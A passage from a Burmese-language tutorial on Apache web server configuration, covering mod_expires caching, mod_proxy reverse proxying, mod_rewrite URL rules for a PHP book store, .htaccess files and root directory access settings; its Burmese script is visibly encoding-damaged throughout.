mod_expires Module ကြိတာ့ Cache Control အတက်ွြပဖေစ်ပါတယ်။ Browser ိတကွြ Respond အပဖေစ်ရေရေှိ
ဖေးူတဲ့ အချက်ြအလက်ြိတကုိွြ Cache လပုထ်ားိလရ့ေှိပါတယ်။ အ့ဲဒလီို Cache လပုတ်ဲ့အခါမာှ ဘယ်လို Content ဆုိ
ရေင် အချနိက်ြာလ ဘယ်ိလာက်ြထိ Cache လပုသ်င့်သလဆုိဲတဲ့ Setting ကုိြ သတမ်တှန်ိုင်ိ စတဲ့ Module တစ်ခု ပဖေစ်
ပါတယ်။  Module  ကုိြ  # Sing  နဲ့ ပတိမ်ထားတာ ိသချာိအာငစ်စ်ိဆးပပးီရေင်  Cache Expires Setting  ိတကုိွြ
အခလုိုသတ ်မတှန်ိုငပ်ါတယ်။

<IfModule mod_expires.c> 
  ExpiresActive on 
  ExpiresDefault                 "access plus 1 month" 
  ExpiresByType text/html        "access plus 0 seconds" 
  ExpiresByType image/x-icon     "access plus 1 week" 
  ExpiresByType image/png        "access plus 1 month" 
  ExpiresByType image/jpg        "access plus 1 month" 
</IfModule>

ExpiresActive on ဆုိတဲ့ Setting ပါမကှြျန်အလပုမ်ျားကုိြ ဆက်ြလပုမ်ာှပဖေစ်ပါတယ်။ သတမ်တှလ်ိုတဲ့ Content
Type  အလိုက်ြ  Expire  Time  ကုိြ  သတမ်တှ်ိ ပးနိုငပ်ါတယ်။ နမနူာအရေဆုိရေင်  HTML  ိတကုိွြ  0 seconds  လို့
သတမ်တှထ်ားလို့ Cache လုပ်ိ ပးမာှ မဟတုပ်ါဘးူ။ ဒါိပမယ့် Icon ိတကုိွြိတာ့ (၁) ပါတ် အထိ Cache လပု်ိ စ
မာှပဖေစ်ပပးီ  PNG နဲ့  JPG Image ိတဆုိွရေင်  (၁) လအထိ Cache လပု်ိ စမာှပဖေစ်ပါတယ်။ ဒနီညး်နဲ့ ဘယ် Content
ကုိြ ဘယ်လို Cache လပုသ်င့်သလ ဲသတမ်တှထ်ားနိုငပ်ါတယ်။

Proxy Module

LoadModule proxy_module modules/mod_proxy.so

mod_proxy Module ကုိြအသံုးပပုပပးီ Apache ကုိြ Proxy Server တစ်ခအုပဖေစ် အသံုးပပုနိုငပ်ါတယ်။ Web App
တစ်ခဟုာ အသံုးပပုသူသိပမ်ျားလာပပဆုိီရေင် App Server နဲ့ Proxy Server တို့ကုိြ ခွဲပခား ထားဖေို့လို အပလ်ာတက်ြပါ
တယ်။ ဒီိ တာမ့ှ တစ်ကြယ့်အလပု်ိ တကုိွြ  App Server  ကြလပုပ်ပးီ  Request  ိတ ွစီမတံဲ့အလပုကုိ်ြ  Proxy Server
ကြ တစ်ဆင့်ခွဲ လပု်ိ ပးပခငး်အားပဖေင့် စွမး်ိဆာငရ်ေညပ်ိုမိုိ ကြာငး်မနွလ်ာိစမာှပဖေစ်ပါတယ်။ ပပးီိတာ့  Proxy Server
မာှ အကြားခစံစ်ိဆးတဲ့ Security လုပ်ိ ဆာငခ်ျက်ြိတ၊ွ Cache Control နဲ့ပက်ြ သက်ြတဲ့လပု်ိ ဆာငခ်ျက်ြိတ၊ွ Load
Balance  နဲ့ပတသ်က်ြတဲ့  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ  လညး်တွဲဖေက်ြထားပပးီ  လုံပခုံိရေးပိုင်း၊  စွမး်ိဆာင်ိ ရေပိုငး်တို့  မာှ
ိကြာငး်သထက်ြိကြာငး်လာိအာင ်စီမထံားနိုငပ်ါိသးတယ်။

Proxy မာှ Reverse Proxy နဲ့ Forward Proxy ဆုိပပီး နစ်ှမျို းရေှိပါတယ်။ mod_proxy နဲ့ Apache ကုိြ Reverse
Proxy အပဖေစ်ိရော Forward Proxy အပဖေစ်ပါ  Setting လပုထ်ားနိုငပ်ါတယ်။  Reverse Proxy ဆုိတာဟာ ရုိးရုိး
Web  Server  တစ်ခလုိုပဲ  Client  Request  ိတကုိွြလက်ြခနံိုငတ်ဲ့  Server  ပဖေစ်ပါတယ်။  ဒါိပမယ့်  တိုက်ြရုိက်ြ
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Respond မပပနပ်ဲ ဝင်ိ ရောက်ြလာတဲ့ Request ကုိြစစ်ိဆးပပးီ အပခား Server တစ်ခထုံ Request ကုိြ လက်ြဆင့က်ြမး်
ိပးပို့ပါတယ်။  အ့ဲဒီ  Server  ကြ  ပပနလ်ည်ိ ပးပို့  လာတဲ့  Respond  ကုိြမှ  Client  ထံ  သူကြတစ်ဆင့်  Respond
ပပနလ်ည်ိ ပးပို့နိုငတ်ဲ့ Server တစ်မျို းပဖေစ်ပါတယ်။ အိပခခ ံSetting အပဖေစ် အခလုို သတမ်တှထ်ားနိုငပ်ါတယ။်

ProxyPass /foo.html http://example.com/bar.html
ProxyPassReverse /foo.html http://example.com/bar.html 

ဒလီိုသတမ်တှထ်ားလိုက်ြရေင်  foo.html Document အတက်ွြ Request လက်ြခရံေရေှိရေင်  example.com/bar.html
ထံ  လက်ြဆင့်ကြမး်ပပီး  Request  ကုိြ  ိပးပို့သွားမာှ  ပဖေစ်ပါတယ်။  Reverse  Proxy  နညး်ပညာကုိြသံုးပပးီ  Load
Balance ပပုလပုပ်ုံကုိြ Rockstar Developer ရေဲ့  အပိုင်း (၅) မာှိဖောပ်ပထားပါတယ်။

URL Rewrite Module

LoadModule rewrite_module modules/mod_rewrite.so

ိနာက်ြထပအ်သုံးဝငတ်ဲ့  Module  ကြိတာ့  mod_rewrite ပဖေစ်ပါတယ်။  URL  ဆုိတာ  ပုံမနှအ်ားပဖေင့်  Web
Server မာှရေှိတဲ့ Resource တစ်ခကုိုြညွှနး်ရေတာပဖေစ်ပါတယ။် ဒါိပမယ့် တစ်ချို ့အငတ်ာနက်ြ Website ိတကုိွြသံုးတဲ့
အခါသတိ ထားမမိာှပါ။ သူတို့ရေဲ့  URL မာှ File Name ိတနွဲ့ ရှုတယှ်က်ြခတမ်ိနပဲ သပသ်ပရ်ေပရ်ေပ် ပဖေစ်ိနတက်ြပါ
တယ်။  http://en.wikipedia.org/wiki/MySQL ဆုိတဲ့  URL  ကုိြပဲိ လလ့ာအကြည့်ပါ။  File Name  ိတမွပါဝငပ်ါ
ဘးူ။  ဒါိပမယ့်လညး် လိုချငတ်ဲ့ရေလဒကုိ်ြိတာ့  ရေရေှိမာှပပဲဖေစ်ပါတယ်။  Web Server  ကြိတာ့  Folder  Name  ိတွ
File  Name  ိတ ွ URL  မာှပါဝငလ်ာမသှာလိုချငတ်ဲ့  Document  လပိစ်ာကုိြသိရေှိပပးီ  အလပုလ်ပု်ိ ပးနိုငမ်ာှပဖေစ်ပါ
တယ်။ ဒလီိုိ နရောမျို းမာှ  mod_rewrite ကြ အသံုးဝငလ်ာပါတယ်။  URL Rewrite Setting  ိတသွတမ်တှပ်ပးီ၊
သပရ်ေပ်ိ အာင် ပပုပပငထ်ားတဲ့  Request URL (URL အတဆုိုအကြပါစုိ့)  ကုိြ တစ်ကြယ့် Resource တညရ်ေှိရော  URL
(URL  အစစ်)  အပဖေစ်ိပပာငး်ပပးီမှ  အလပုလ်ပု်ိ အာင် သတမ်တှထ်ားနိုငတ်ဲ့  Module  တစ်ခပုဖေစ်ပါတယ်။ ဒါိအကြာင့်
Website  အသံုးပပုသူကြ  ရေငှး်လငး်ပပးီ မတှရ်ေလယ်ွတဲ့  URL (အတု)  ကုိြပမဲတှသ်ားထားဖေို့လိုပပးီ  mod_rewrite
ကြ အ့ဲဒီ URL ကုိြ လက်ြခရံေရေှိ တဲ့အခါ URL အစစ်နဲ့ အစားထိုးိပးသွားမာှ ပဖေစ်ပါတယ်။

URL Rewrite Setting ိရေးသားပုံနမနူာကုိြ ပုံ (၈-ကြ) မာှိလလ့ာနိုငပ်ါတယ်။ 

http://en.wikipedia.org/wiki/MySQL
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ပုံ (၈-ကြ) A URL Rewrite Rule

RewriteRule Keyword  နဲ့စိပးရေပပီး သူ့ိ နာက်ြမာှ အပိုငး်  (၃)  ပိုငး် ပါဝငပ်ါတယ်။ Request URL Pattern,
ပပုပပင်ိ ပးိစလိုတဲ့ URL နဲ့ ပဖေည့်စွက်ြညွှနအ်ကြားချက်ြ (Flags) တို့ပပဲဖေစ်ပါတယ်။ 

Request URL Pattern ကုိြ Regular Expression နဲ့ိ ပးရေမာှပဖေစ်ပါတယ်။  Regular Expression ဟာ Text ိတွ
ကုိြ စီမနံိုငတ်ဲ့  Sub Language  တစ်ခပုဖေစ်ပါတယ်။ သူလညး်ပဲ  သီးပခားိလလ့ာဖေို့လိုနိုငတ်ဲ့  ဘာသာရေပတ်စ်ခု  ပဖေစ်ပါ
တယ်။ Rewrite Rule ိတ ွိရေးသားဖေို့ အတက်ွြသိသင့်တဲ့အိပခခံ Pattern ိတကုိွြိတာ့ ပုံ  (၈-ကြ) မာှတစ်ခါတညး်
ိဖောပ်ပထားပါတယ်။  ^ သိကြအင်္ဂတဟာ စာတစ်ိအကြာငး်ရေဲ့  အစမတှပ်ဖေစ်ပါတယ်။ $ သိကြအင်္ဂတကြိတာ့ စာတစ်ိအကြာငး်
ရေဲ့အဆံုး မတှပ်ါ။

RewriteRule ^books index.php

နမနူာမာှ အစမတှကုိ်ြ ^ နဲ့သတမ်တှထ်ားိပမယ့် အဆံုးမတှကုိ်ြသတမ်တှမ်ထားပါဘးူ။ ဒါိအကြာင့် Request URL ကြ
books နဲ့ စခဲ့မယ်ဆုိရေင်  (ိနာက်ြကြဘာပဆဲက်ြလိုက်ြလိုက်ြ) index.php ကုိြ အသံုးပပု  Request  လပု်ိ ပးသွားမာှ
ပဖေစ်ပါတယ်။
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RewriteRule ^books$ index.php

ဆုိရေင်ိ တာ ့URL ကြ books လ့ုိအတအိကြျပဖေစ်မှ index.php ကုိြ အသံုးပပု Request လုပ်ိ ပးသွားမာှပါ။ 

ဝိုက်ြကွြင်းအဖေငွ့်အပတိကုိ်ြိတာ ့Set အိနနဲ့အသံုးပပုနိုငပ်ါတယ်။

RewriteRule ^books/([a-z]+)/([0-9]+)$ index.php?cat=$1&id=$2

နမနူာမာှ ဝိုက်ြကွြင်းအဖေငွ့်အပတိန်ဲ့ထည့်သွငး်ထားတဲ့ Set နစ်ှခပုါဝငရ်ေမာှပဖေစ်ပါတယ်။ ပထမ Set အတငွး်ကြ [a-z]
ကြ  a  to  z  ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပါတယ်။  a  to  z  နစ်ှသက်ြရော  Alphabet  လာနိုငပ်ါတယ်။  တစ်ပခား  Special
Character ိတနွဲ့ဂဏနး်ိတ ွပဖေစ်ခဲ့ရေင် ဒီ  Rule နဲ့မကိြက်ုြညီိ တာလ့ို့ အလပုလ်ပုမ်ာှမဟတုပ်ါဘူး။ ဒတုယိ  Set မာှ
ိတာ့  0 to 9 ဂဏနး်ကြလွဲရေင် ကြျနတ်ဲ့  Character  ိတ ွလက်ြမခဘံးူဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်ပါတယ်။  +  သိကြအင်္ဂတကြ
ိတာ့ အ့ဲဒီ  Set အတက်ွြ စာလုံးတစ်လုံး အနညး်ဆံုး ရေှိရေမယ့်လိုသတမ်တှထ်ားတာပါ။ Set နစ်ှခမုာှ ပါဝငလ်ာတဲ့တန်
ဖေိုးိတကုိွြ $1 နဲ့ $2 ဆုိပပးီ Variable များအိနနဲ့ URL အစစ်မာှ ပပနလ်ညအ်သံုးချနိုငပ်ါတယ်။ ဒါိအကြာင့် Request
URL ကြ -

books/internet/98 

- ပဖေစ်ခဲ့မယဆုိ်ရေင် အမနှတ်စ်ကြယ် Request လုပသွ်ားမယ့် URL ကြ -

index.php?cat=internet&id=98

- ပဖေစ်မာှပါ။ a to z တို့ 0 to 9 တို့ သတမ်တှမ်ိနပမဲညသ်ည့် Character မဆုိပါဝငန်ိုငတ်ယ်လို့ သတမ်တှလ်ိုရေင် Dot
သိကြအင်္ဂတကုိြ အသံုးပပုနိုငပ်ါတယ်။ ိရေးသားပုံကြဒလီိုပါ။ 

RewriteRule ^books/(.+)/(.+)/?$ index.php?cat=$1&id=$2

(.+) လ့ုိသတမ်တှထ်ားတဲ့အတက်ွြ မညသ်ည့် Character မဆုိပဖေစ်နိုငတ်ယ်၊ ဒါိပမယ့် (၁) လုံးနဲ့အထက်ြပဖေစ်ရေမယ်
ဆုိတဲ့ အဓပိ္ပါယ်ပါ။ နမနူာမာှပါတဲ့  ? သိကြအင်္ဂတရေဲ့အဓပိ္ပါယ်ကြ သူက့ြစာလုံး  (တစ်လုံး)  ပါဝငရ်ေငလ်ညး်မနှတ်ယ်၊ မပါ
လညး်မနှ်  တယ်ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပါတယ်။  တနညး်အားပဖေင့်  နမနူာအရေဆုိရေင်ိ နာက်ြဆံုးကြ  Slash  ပါရေငလ်ညး်  ဒီ
Rule အတိုငး် အလပုလ်ပုမ်ာှပဖေစ်သလို မပါရေငလ်ညး် အလပုလ်ပုမ်ာှပပဲဖေစ်ပါတယ်။

ိနာက်ြထပပ်ဖေည့်စွက်ြမတှသ်ားသင့်တဲ့  ိရေးထုံးတစ်ခကုြိတာ့  စာလုံးအိရေးအတက်ွြ ကြန့်သတပ်ခငး်ပဖေစ်ပါတယ်။  အခု
လို ိရေးသားနိုငပ်ါတယ်။

RewriteRule ^books/([a-z]{5-10})/([0-9]{3})/?$ index.php?cat=$1&id=$2

တနွကွ်ြငး်အဖေငွ့်အပတိထ်မဲာှ  စာလုံးအိရေအတက်ွြကြန့်သတခ်ျက်ြ  ထည့်သွငး်ိပးနိုငပ်ါတယ်။  [a-z]{5-10} ရေဲ့
အဓပိ္ပါယ် ကြိတာ့  a to z အကြ္ခရောလက်ြခမံယ၊် စာလုံးိရေကြ (၅) လံုးနဲ့ (၁၀) လုံးအကြား ပဖေစ်ရေမယ်လို့ဆုိတဲ့ အဓပိ္ပါယ်
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ပါ။ [0-9]{3} ရေဲ့  အဓပိ္ပါယ်ကြိတာ့ 0 to 9 ကိြနး်ကြဏန်းိတကုိွြပလဲက်ြခမံယ်၊ စာလုံးိရေ (၃) လံုးအတအိကြျပဖေစ်ရေ
မယ်လို့ကြန့် သတပ်ခငး်ပဖေစ်ပါတယ်။ ဒီ  Rule  ကုိြအသံုးပပုပပးီ ပပးီခဲ့တဲ့အခန်းမာှိရေးသားခဲ့တဲ့  Online Book Store
အတက်ွြ Rewrite Rule ိတကုိွြ အခလုို သတမ်တှ်ိ ပးနိုငမ်ာှ ပဖေစ်ပါတယ်။

<IfModule mod_rewrite.c> 
  RewriteEngine On 
  RewriteBase /store/
  RewriteRule ^books/?$ index.php [NC,L] 
  RewriteRule ^cart/?$ view_cart.php [NC,L] 
  
  RewriteRule ^category/([0-9]+)/?$ index.php?cat_id=$1 [NC,L] 
  
  RewriteRule ^admin/edit/book/([0-9]+)/?$ admin/book-edit.php?id=$1 [NC,L] 
  RewriteRule ^admin/edit/category/([0-9]+)/?$ admin/cat-edit.php?id=$1 [NC,L]
</IfModule>

တစ်ပခား  Module  ိတမွာှလိုပဲ  အရေငဆံု်း  mod_rewrite ရေှိမရေှိစစ်ိဆးပပီးိရေးသားထားပါတယ။်  ထပူခားချက်ြ
အိနနဲ့  RewriteBase Setting  ပါဝငလ်ာတာကုိြ  သတပိပုပါ။  ကြျွန်ိ တာတ်ို့ရေဲ့  Project  ကြ  Web  Server  ရေဲ့
Document Root  ထမဲာှ မဟတုပ်ဲ  store Folder  ထဲမာှ ိရေးသားထားတာပဖေစ်တဲ့အတက်ွြ  RewriteBase မာှ
/store/ လို့ သတမ်တှထ်ားပခငး် ပဖေစ်ပါတယ်။ အ့ဲဒလီိုသာ မသတမ်တှထ်ားရေင် Rule ိတကုိွြအခလုိို ရေးိနရေမာှပါ။

RewriteRule ^books/?$ /store/index.php [NC,L] 
RewriteRule ^cart/?$ /store/view_cart.php [NC,L] 

RewriteBase မာှ  /store/ လို့သတမ်တှထ်ားလိုက်ြလို့  Rule ိတမွာှ /store/ ကုိြ တစ်ိအကြာငး်ပခငး် လိုက်ြ
ထည့်ိ နဖေို့ မလိုအပ်ိ တာပ့ါဘးူ။  နမနူာအရေ -

-  http://localhost/store/books/
-  http://localhost/store/cart/
-  http://localhost/store/category/12/
-  http://localhost/store/admin/edit/book/12/
-  http://localhost/store/admin/edit/category/12/

 -  စတဲ့  URL  များနဲ့  Book Store  ကုိြအသံုးပပုနိုငသွ်ားိစမာှပဖေစ်ပါတယ်။  Script File  ရေဲ့  Name  ိတနွဲ့  Query
String ိတကုိွြ URL မာှထည့်သွင်းဖေို့ မလိုိ တာတ့ဲ့သိဘာပဖေစ်ပါတယ်။ 

Rule တစ်ခပုခငး်စီရေဲ့ိနာက်ြဆံုးမာှ ိလးိဒါင့ကွ်ြငး်နဲ့ ိရေးသားတဲ့  Flags ိတပွါဝငပ်ါိသးတယ်။ အ့ဲဒီ Flag ိတကွြ
Optional ပါ။ မလိုအပရ်ေင ်မထည့်ပဲိ နလို့ရေပါတယ။် အသုံးဝငတ်ဲ့ Flag စာရေငး်ကိြ ုိဖောပ်ပိပးလိုက်ြ ပါတယ်။
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[L] - Last ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပါတယ်။ လက်ြရေှိ Rule နဲ့ကုိြက်ြညခီဲ့ရေင် ကြျန် Rule ိတကုိွြ ဆက်ြလပုမ်ိနနဲ့ိ တာ့ ဆုိ
တဲ့ အဓပိ္ပါယ်ပါ။

[F] - Forbidden ဆုိတဲ့အဓပိ္ပါယပ်ါ။ Rule နဲ့ကိြက်ုြညခီဲ့ရေင ် 403 Forbidden Respond ကုိြ ပပန်ိ ပးသွားမာှပါ။

[NC] - No Case ဆုိတဲ့အဓပိ္ပါယပ်ဖေစ်ပါတယ်။ စာလုံးအကကီြးအိသးကုိြ ထည့်စစ်မိနိတာတ့ဲ့သိဘာ ပဖေစ်ပါတယ်။

[QSA] -  Request  URL  နဲ့အတပူါဝငလ်ာတဲ့  Query  String  ကုိြ  Rewrite  URL  မာှဆက်ြလက်ြ ထည့်သွငး်
အသံုးပပု ိပးပါလို့ သတမ်တှပ်ခငး်ပဖေစ်ပါတယ်။

[R] -  URL  ကုိြ  Rewrite  လုပယံု်မကြပဲ  Redirect  လပုသွ်ားိစလိုတဲ့အခါ  သံုးပါတယ်။  ိနာက်ြကြိန HTTP
Status  Code  No.  ထည့်လိုရေငထ်ည့်ိ ပးနိုငပ်ါတယ်။  မထည့်ချငလ်ညး်  ချနထ်ားခဲ့နိုငပ်ါတယ်။  ထည့်မယ်ဆုိရေင်
[R=301] သုိမ့ဟတု် [R=307] စသပဖေင့် သင့်ိ တာသ်လို ထည့်သွငး်ိပးနိုငပ်ါတယ်။

Flag တစ်ခထုက်ြပိုရေင် Comma ခပံပးီအတွဲလိုက်ြ သတမ်တှန်ိုငပ်ါတယ်။ ဥပမာ - [L,NC,QSA]

RewriteCond ဆုိတဲ့ Setting တစ်ခကုြျနပ်ါိသးတယ်။ Server Variable ိတနွဲ့တိုက်ြဆုိငစ်စ်ိဆးပပးီ မနှက်ြနမ်ှ
သတမ်တှထ်ား တဲ့ Rule ကုိြ ဆက်ြလက်ြအလပုလ်ပု်ိ စလိုတဲ့အခါ သံုးနိုငပ်ါတယ်။ ိရေးသားပုံကြ အခလုိုပါ -

RewriteCond %{HTTP_HOST} !^example\.com$ [NC]  
RewriteRule .? http://example.com%{REQUEST_URI} [R=301,L]

ဒီ Rule ကြ Host Name ရေဲ့  ိရေှ့ကြ www ကုိြ ပဖေုတဖ်ေို့အတက်ွြ အသံုးပပုအကြိလရ့ေှိပါတယ။် ဥပမာ - Request URL ကြ
http://www.example.com/foo/bar.html ပဖေစ်ိနမယ်  ဆုိရေင်  အဲဒီ  URL  ကုိြ  http://example.com/foo/
bar.html လ့ုိိပပာငး် ိပးလိုက်ြမာှပဖေစ်ပါတယ်။

█ RewriteCond %{HTTP_HOST} !^example\.com$

- ရေဲ့  အဓပိ္ပါယ်ကြ -

if(HTTP_HOST != example.com)

လိုိ့ ရေးသားပခငး်နဲ့  ဆငတ်ပူါတယ်။   %{HTTP_HOST} ဆုိတာ  Request  မာှပါဝငလ်ာတဲ့  Domain  Name  ကုိြ
လက်ြခထံားတဲ့  Server  Variable  တစ်ခပုဖေစ်ပါတယ်။  သူ့ိ နာက်ြကြ  Exclamation  Mark  (!)  ကြ  Not  ဆုိတဲ့
အဓပိ္ပါယ်ပါ။  ဆက်ြလက်ြိရေးသားထားတဲ့  ^example\.com$ ကြိတာ့  example.com  အတအိကြျဟတုမ်ဟတု်
စစ်ိဆးထားတဲ့  Regular  Expression  Rule  ပဖေစ်ပါတယ်။  Dot   (.)  သိကြအင်္ဂတကြ  Regular  Expression  ရေဲ့
Operator ပဖေစ်ိနတဲ့အတက်ွြ Back Slash နဲ့Operator မဟတု်ိ အကြာငး်ကုိြ Escape လပုထ်ားိပးရေတာပါ။

█ RewriteRule .? http://example.com%{REQUEST_URI} [R=301, L]
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-  ရေဲ့  အဓပိ္ပါယ်ကြိတာ၊့  URL  ကြဘာပပဲဖေစ်ပဖေစ်  (သုိမ့ဟတု်)  ဘာမမှပါရေငပ်ပဲဖေစ်ပဖေစ်  http://example.com ကုိြသာ
Rewrite လပု်ိ ပးသွားပါလို့ သတမ်တှထ်ားပခငး်ပါ။ %{REQUEST_URI} ကြလညး် Server Variable တစ်ခပုပဲဖေစ်
ပပးီ တနဖ်ေိုးအိနနဲ့  URL မာှ  Domain Name ိနာက်ြကြတွဲပါလာတဲ့ Resource Location ရေှိိ နမာှပဖေစ်ပါ တယ်။
အ့ဲဒတီနဖ်ေိုး ကုိြ Rewrite လပုထ်ားတဲ့ example.com ရေဲ့ိနာက်ြကြိန ဆက်ြထည့်ိ ပးလိုက်ြဖေို့ သတမ်တှထ်ားပခငး်ပဖေစ်
ပါတယ်။  Flag  အိနနဲ့  R=301 Flag  ထည့်သွငး်ထားတဲ့အတက်ွြ တစ်ခါတညး်  Redirect  လပု်ိ ပးသွားမာှ ပဖေစ်ပါ
တယ်။ ိနာက်ြထပအ်သံုး ဝငတ်ဲ့ ဥပမာတစ်ခ ုိဖောပ်ပိပးပါဦးမယ် -

RewriteCond %{HTTP_REFERER} !^$  
RewriteCond %{HTTP_REFERER} !^http://example\.com/ [NC]  
RewriteRule \.(gif|jpg|png)$ - [F]

ဒီ Rule ကြိတာ့ ကြျွန်ိ တာတ်ို့ Server ကြ Image ိတကုိွြ အပခား Website ကြ တိုက်ြရုိက်ြချတိဆ်က်ြိဖောပ်ပပခငး် မ
ပပုိစလိုတဲ့အခါ အသံုးပပုနိုငပ်ါတယ်။ HTTP_REFERER ဆုိတာကြ Request  ပပုလပုသူ်လာခဲ့တဲ့  Location ပဖေစ်ပါ
တယ်။ Referer ကြ Blank ပဖေစ်ိနရေင် တစ်ိနရောရောကြိန တစ်ဆင့်လာပခငး်မဟတုပ်ဲ လိပစ်ာအတအိကြျနဲ့ တိုက်ြရုိက်ြ
ပပုလပုတ်ဲ့ Request ပဖေစ်တယ်ဆို တဲ့သိဘာပါ။ ဒါိအကြာင့် Referer ကြ Blank မဟတု်ိ တာမ့ှ Rule ကုိြအလပုလ်ပု်
ဖေို့ RewriteCond နဲ့ စစ်ိဆးထားပါတယ်  (!^$ - Not Blank ဆုိတဲ့အဓပိ္ပါယပ်ါ)။ ိနာက်ြ တစ်ဆင့်မာှ Referer
ကြ ကြျွန်ိ တာတ်ို့ Host ကုိြယ်တိုငဟ်တုမ်ဟတု် စစ်ထားပါတယ် -

█ !^http://example\.com/

- If Not http://example.com ဆုိတဲ့အဓပိ္ပါယ်ပါ။ ဒီ Condition နစ်ှခလုုံး Pass ပဖေစ်မှ ဆက်ြလက်ြသတမ်တှ် ထား
တဲ့  Rewrite  Rule  ကုိြ  အလပုသွ်ားလပုမ်ာှပဖေစ်ပါတယ်။  Rewrite  Rule  မာှ  Request  URL  ကြ  .gif,
.jpg, .png တို့နဲ့ အဆံုးသတရ်ေင်  Forbidden Respond ပပန်ိ ပး ဖေို့ [F] Flag ကုိြ အသံုးပပုသတမ်တှထ်ားပါ
တယ်။  Image  ိတကုိွြ  URL  အတအိကြျနဲ့  တိုက်ြရိက်ုြ  Request  ပပုလပုသူ်ကုိြ  ရေယူခငွ့်ပပုပါတယ်။  ကြျွန်ိ တာတ်ို့
Website  ကုိြယ်တိုငက်ြ ချတိဆ်က်ြရေင် ခငွ့်ပပုပါတယ်။ တစ်ပခား  Website  တစ်ခု ကြိန Request  လုပလ်ာရေင်ိ တာ့
ရေယူခငွ့်မပပုဘးူဆုိတဲ့လပု်ိ ဆာငခ်ျက်ြကုိြ ရေရေှိိ စမာှပဖေစ်ပါတယ်။ Rewrite Condition ိတ ွRule ိတနွဲ့အတူ တဲွဖေက်ြ
သံုးနိုငတ်ဲ့  Server Variable ိတထွကဲြ မတှသ်ားသင့်တဲ့ Variable တစ်ချို ့ကုိြ ိဖောပ်ပိပးလိုက်ြပါတယ်။

%{HTTP_USER_AGENT} - Request နဲ့အတပူါဝငလ်ာတဲ့  User Agent (Client အမျို းအစား)
%{HTTP_REFERER} - Request ပပုလပုလ်ာတဲ့ Source
%{HTTP_HOST} - ကြျွန်ိ တာတ်ို ့Server ရေဲ့  အမည ်သုိမ့ဟတု ် IP Address
%{SERVER_PORT} - Web Server လက်ြရေှိအလပုလ်ပု်ိ နတဲ့ Port No.
%{REMOTE_ADDR} - Request ပပုလပုသူ်ရေဲ့  IP Address
%{REQUEST_METHOD} - ပပုလပုလ်ာတဲ့ Request Method (GET, POST, etc...)
%{QUERY_STRING} - Request နငှ့်အတပူါဝငလ်ာတဲ့ Query String
%{REQUEST_URI} - Request နငှ့်အတပူါဝငလ်ာတဲ့ URL အပပည့်အစံု (Host Name မပါ)
%{SCRIPT_FILENAME} - Request  ပပုလပုလ်ာတဲ့ File ရေဲ့အမည်
%{HTTPS} - Request Protocol ကြ HTTPS ဟတုမ်ဟတု ်စစ်ိဆးိပးပါတယ်။
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.htaccess
Web  Server  တစ်ခကုိုြ  မျှိဝအသံုးပပုိနတဲ့  Web  App  ိတအွများကကီြးရေှိနိုငပ်ါတယ်။  httpd.conf ထမဲာှ
သတမ်တှထ်ားတဲ့ Setting ိတကွြလက်ြရေှိ Server ကုိြ မျှိဝအသံုးပပုိနတဲ့ App အားလုံးကုိြ သက်ြိရောက်ြိစမာှ ပါ။
Compression နဲ့ Cache လိုလပု်ိ ဆာငခ်ျက်ြိတကွြိတာ့ သိပပ်ပဿနာမရေှိပါဘးူ။ App အားလုံးအတက်ွြ အသံုးဝင်
နိုငပ်ါတယ။် ဒါိပမယ့် URL Rewrite လပု်ိ ဆာငခ်ျက်ြလိုကိြစ္စမျို းကြ App အားလုံးအတက်ွြ လုိအပခ်ျက်ြ ိတ ွတညူီ
အကြမာှမဟတုပ်ါဘးူ။ ဒါိအကြာင့် လက်ြိတွ့မာှ  URL Rewrite  လပု်ိ ဆာင် ချက်ြကုိြ  httpd.conf ထမဲာှ ိရေးသား
သတမ်တှ်ိ လမ့ရေှိပါဘူး။ 

Apache  Setting  ိတကုိွြ  .htaccess လို့အမည်ိ ပးထားတဲ့  File  နဲ့လညး်  ခွဲပခားိရေးသားိပးနိုငပ်ါတယ်။
.htaccess File  နဲ့ိ ရေးသားထားတဲ့   Setting  ိတဟွာ  Server  တစ်ခလုုံးနဲမ့သက်ြဆုိငပ်ဲ  အ့ဲဒီ  File  ရေှိိ နတဲ့
Folder  ကုိြပသဲက်ြိရောက်ြမှု ရေှိိ စမာှပဖေစ်ပါတယ်။  ဒါိအကြာင့်  သက်ြဆုိငရ်ော  App  ကုိြပဲ  သီးပခားသကြ်ိ ရောက်ြိစလိုတဲ့
Setting ိတကုိွြ .htaccess File ထမဲာှိရေးသားပပီး App နဲ့အတတူွဲဖေက်ြထည့်သွငး်ိပးထားနိုငမ်ာှ ပဖေစ်ပါတယ်။

လိုရေငး်ိပပာရေရေင်ိ တာ့ ကြျွန်ိ တာတ်ိုိ့ လလ့ာခဲ့တဲ့ URL Rewrite Rule ိတဟွာ httpd.conf ထမဲာှ ိရေးသား ရေ
မာှမဟတုပ်ဲ  Web App Project Folder  ထမဲာှ  .htaccess အမညန်ဲ့  File  တစ်ခတုည်ိ ဆာက်ြပပးီ ထည့်သွငး်
ိရေးသားိပးရေမာှပဖေစ်ပါတယ်။

Directories Settings
httpd.conf ထကဲြ ကြျနရ်ေှိိ နတဲ့  Setting  ိတကုိွြ  ဆက်ြလက်ြိလလ့ာသွားချငပ်ါတယ်။  httpd.conf ထမဲာှ
Server  ရေဲ့  File System  ကုိြ  Apache  ကြိနတစ်ဆင့် ဝင်ိ ရောက်ြလို့မရေိအာင် ကြန့်သတထ်ားတဲ့  Setting  တစ်ခု
ပါဝငတ်က်ြပါတယ်။ ိရေးသားပုံကြ အခလုိုပုံစံပဖေစန်ိုငပ်ါတယ်။

<Directory /> 
    AllowOverride none 
    Require all denied 
</Directory>

<Directory /> ရေဲ့  အဓပိ္ပါယက်ြ  Root  Directory  နဲ့ပတသ်က်ြတဲ့  Setting  ိတသွတမ်တှမ်ယ်လိုိ့ အကြပငာတဲ့
သိဘာ ပဖေစ်ပါတယ်။ Windows မာှဆုိရေင်ိ တာ့  C:\ ဆုိတဲ့အဓပိ္ပါယ် သက်ြိရောက်ြပါတယ်။ ဒါိပမယ့်  Setting ိရေး
တဲ့အခါ C:\ လို့မိရေးရေပါဘးူ။ ိဖောပ်ပထားသလိုပဲ Slash ( / ) သိကြအင်္ဂတကုိြ အသံုးပပုသတမ်တှရ်ေပါတယ်။ သတမ်တှ်
